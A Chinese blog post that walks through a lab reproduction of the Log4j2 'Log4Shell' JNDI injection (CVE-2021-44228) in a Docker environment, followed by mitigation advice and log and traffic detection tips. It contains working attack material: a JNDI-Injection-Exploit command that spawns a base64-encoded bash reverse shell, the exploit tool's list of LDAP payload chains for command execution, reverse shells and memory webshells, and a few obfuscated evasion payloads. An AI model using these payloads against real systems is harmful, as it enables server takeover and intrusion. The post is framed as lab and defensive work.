CVE-2021-44228——Log4j 2 Shell 漏洞复现

发布于 2021-12-10  3231 次阅读


写在前面

  第一次觉得和0day距离这么近,也第一次感受了一下网安人的狂欢和新年,不得不说真的不一样的感觉,从昨天晚上十一点左右开始,其实就已经开始有相关消息,从阿里安全团队开始,陆续各大厂商发出相关通告,在野利用等等。然后在短短的几个小时内,DNSlog遍地开花,各大厂商、SRC、各单位人人自危。
  估计不少人都睡下了又被领导叫起来修补漏洞,但是在修复一波之后随即安全团队就推出了新版本的修复补丁的绕过,本来从头顶拿开的刀又重新悬到了头顶上,真的好气又好笑。
  对于我个人来说,这次算是真真切切追了一波热门漏洞,体验了一把网安圈的狂欢和新年,属实是开心居多,不过还是要居安思危,更多的还是要努力学习、追洞、提高自己的技术。漏洞细节我还没有完全研究透彻,研究完了再放上来,先看一看漏洞复现,定位一下自己手中的系统是否受到漏洞影响,抓紧时间修复漏洞、减少损失才是要紧的事情。

复现过程

搭建docker环境

  因为我这边知道的消息并不是很及时,所以在知晓细节之后,Vulfocus输出了相应的漏洞环境docker,使用命令拉取或者注册http://vulfocus.fofa.so/登录后操作即可。

docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

  拉取完成后,启动相应docker,这个docker的业务端口是8080,将这个端口映射到机器上就可以了。

docker run -d -p 60001:8080 vulfocus/log4j2-rce-2021-12-09

image-20211210165025990

正式复现

  访问相关地址http://ip:port/hello,确认docker可以访问之后继续继续进行。

image-20211210165312874

  这个漏洞需要使用POST数据包进行提交,BurpSuite抓包修改就可以,在抓包之前需要启动相应的利用工具,一个是NC,一个是相应的漏洞注入工具,这个漏洞最终利用方式还是在了JDNI注入上,所以需要使用JNDI注入工具进行辅助。
  还有一点需要注意,注入工具只能使用Jdk1.8版本进行注入,如果利用不成功可以关注一下这个地方。

java -jar JNDI-Injection-Exploit.jar -C "bash -c {echo,反弹shell命令的BEAS64编码}|{base64,-d}|{bash,-i}" -A "执行监听的机器IP"

image-20211210170314415

  然后在相应的机器上启动监听。

image-20211210170554867

  刚刚有讲到需要POST提交方式,就在这一步进行触发。抓包发送到Repeater,更改为POST提交方式。

image-20211210171207177

image-20211210171228675

  Data字段中添加Payload,并发送,完成后注意监听和注入工具反响。

image-20211210171421288

image-20211210171432761

  到这里就复现成功了。


命令回显等其他内容复现

  在日常的渗透测试过程中,直接反弹shell不一定成功,可能会面临端口开放等其他问题,这个时候就需要命令执行等其他的攻击方式来进行辅助,而上面的攻击方式存在几个问题:

  1. 命令不回显
  2. 每次执行一个命令就需要重新启动JNDI注入工具

  因为这几个问题导致命令执行起来并不是很方便,所以这个部分更换一个工具来进行命令回显这部分内容的复现,复现过程中确认此工具低版本Jdk运行没有什么问题,我的Jdk16版本的倒是运行报错了,其他版本没有进行测试,没有具体验证最高哪个Jdk版本可以使用这个。此部分所使用的工具:JNDI注入工具2
  这里就不在叙述前面的了,直接进行漏洞复现。
  注入工具中提供诸如以下的注入利用链,我们这里的复现使用的是ldap://null:1389/TomcatBypass/TomcatEcho利用链

Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://null:1389/Basic/Dnslog/[domain]
    ldap://null:1389/Basic/Command/[cmd]
    ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Basic/TomcatEcho
    ldap://null:1389/Basic/SpringEcho
    ldap://null:1389/Basic/WeblogicEcho
    ldap://null:1389/Basic/TomcatMemshell1
    ldap://null:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/Basic/JettyMemshell
    ldap://null:1389/Basic/WeblogicMemshell1
    ldap://null:1389/Basic/WeblogicMemshell2
    ldap://null:1389/Basic/JBossMemshell
    ldap://null:1389/Basic/WebsphereMemshell
    ldap://null:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://null:1389/Deserialization/URLDNS/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://null:1389/Deserialization/C3P0/SpringEcho
    ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell
    ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://null:1389/TomcatBypass/Dnslog/[domain]
    ldap://null:1389/TomcatBypass/Command/[cmd]
    ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/TomcatBypass/TomcatEcho
    ldap://null:1389/TomcatBypass/SpringEcho
    ldap://null:1389/TomcatBypass/TomcatMemshell1
    ldap://null:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://null:1389/GroovyBypass/Command/[cmd]
    ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://null:1389/WebsphereBypass/List/file=[file or directory]
    ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

普通的执行命令

  使用下面的命令启动一个LDAP服务

java -jar JNDIExploit.jar -i [i]

image-20220107202756471

  启动JNDI服务之后,访问目标靶机并在漏洞点处进行抓包。

image-20220107202928243

  抓包之后和之前的复现过程基本类似,更改成POST请求方式,然后将payload放入data中,而在这里不同的是,将payload更改为新工具的利用链ldap://null:1389/TomcatBypass/TomcatEcho,然后在HTTP头中添加一个cmd:[cmd]字段。

image-20220107203346271

  这样发包就可以执行命令了,并且后续如果需要使用其他命令就可以直接在cmd:[cmd]字段直接更改命令即可。

反弹shell

  然而,上述的利用能够执行命令但并不可以反弹shell,不过这个问题可以通过更换利用链解决。反弹shell则需要利用到ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
  过程也比较简单,只需要将payload的内容更改利用链即可,但是需要注意一点,[base64_encoded_cmd]中需要将特殊符号进行两次URL编码才能够正常利用。

image-20220107204839307

  然后稍等片刻,NC上就会出现shell回连。

image-20220107204952675

  到这里这种攻击方式就复现完了,可以根据具体需求以及具体的攻击场景选择使用,后续如果有精力的话我会将这种攻击方式编写一个自动化脚本,到时候会放在我的GitHub上,大家可以关注一下。


关于漏洞的其他内容

漏洞指纹

  这个漏洞起因为Apache Log4j2,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
  覆盖内容比较杂,并没有相应的漏洞指纹,这也造成了相当一部分厂商对于漏洞定位的困难。

影响版本

  Apache Log4j 2.x < 2.15.0-rc2

处置建议

  1. jvm参数 -Dlog4j2.formatMsgNoLookups=true

  2. log4j2.formatMsgNoLookups=True

  3. 系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

漏洞排查

代码排查

  查看 pom.xml 是否引入 org.apache.logging.log4j、org.apache.logging.log4j2

系统中排查

Linux

sudo find / -name "*log4j-*.jar"

windows

*log4j*.jar

攻击排查

日志排查

  对于常见利用方式可通过应用系统报错日志中的

javax.naming.CommunicationException
javax.naming.NamingException: problem generating object using object factory
Error looking up JNDI resource关键字进行排查。

流量排查

  攻击者的数据包中可能存在:${jndi:rmi${jndi:ldap字样

写在最后

  复现难度并不是很大,可以说是毫无利用条件限制,但是影响范围可以说相当之大,覆盖了各大厂商,个人估计网络系统中覆盖率能达到70%左右,这次真的是核弹级别的漏洞。
  我把这个漏洞分享出来希望能够帮助一些IT工作者快速定位到自己系统中的漏洞并加以修复,以此进行恶意攻击者均与本人无关。



收集的免杀Payload

${jndi:ldap://xxxxx.dnslog.cn/exp}
${j${::-n}di:dns${::-:}${::-/}/hitpfndmqdppx9277b${::-.}bxss.me}zzzz